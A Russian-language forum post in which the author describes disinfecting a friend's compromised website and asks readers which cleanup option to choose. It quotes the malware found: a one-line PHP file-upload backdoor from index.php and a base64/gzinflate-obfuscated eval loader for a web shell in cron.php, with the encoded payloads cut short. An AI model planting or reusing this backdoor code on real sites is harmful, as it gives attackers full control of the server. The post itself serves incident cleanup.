Подруга попросила помочь почистить зараженный сайт. Скачал, изучил, и что увидел в итоге.....
15 тыщ файлов. Ок, давайте проверим антивирусом:
несколько десятков файлов заражено. Начал открывать, изучать. Смутила такая строчка в index.php:
if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;}
Значит хацкер может по удалёнке заливать файлы. Еще меня смутил файл с названием cron.php. Какой может быть крон на сайте-визитке? Файл cron.php НЕ обнаружился антивирусом как зараженный. Но я решил его исследовать. Теперь самое интересное:
eval(base64_decode("Ly83MTg3O...MTg3O");
Таково было содержание крона. Запустил, получил:
$auth_pass = "63a9f0ea7bb98050796b649e85481845"; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9Vc...uA='\x29\x29\x29\x3B",".");
Запустив его, я увидел в браузере такой интерфейс... со всей подноготной сарвака:
Через этот интерфейс выходит можно делать всё что угодно с файловой системой сервера.
Встал вопрос: как вылечить сайт?
1. Нанять мартышку, которая проверит все 15 тыщ файлов и удалит все вирусы (потому что антивирус сам из base64_decode вируса вытащить не может) - это, наверно, дорого.
2. откатить до бэкапа, желательно полугодовой давности (этот вариант предложила подруга, сам сомневаюсь, а вдруг уже полгода назад сайт был заражен, всякое бывает)
3. сменить хостера, сменить CMS, написать сайт с нуля, провести базовую оптимизацию по безопасности: настроить .htacsses, залочить доступы по ftp и т.д. (этот вариант предложил я. потому что сам уже так делал, и это прокатывало)
Сам ранее пробовал все 3 варианта, когда возился со своими зараженными сайтами. В итоге помог только третий вариант.
Что вы посоветуете? Мб есть еще какие-то варианты? Или есть какие-нибудь дополнения по вариантам, предложенным мной?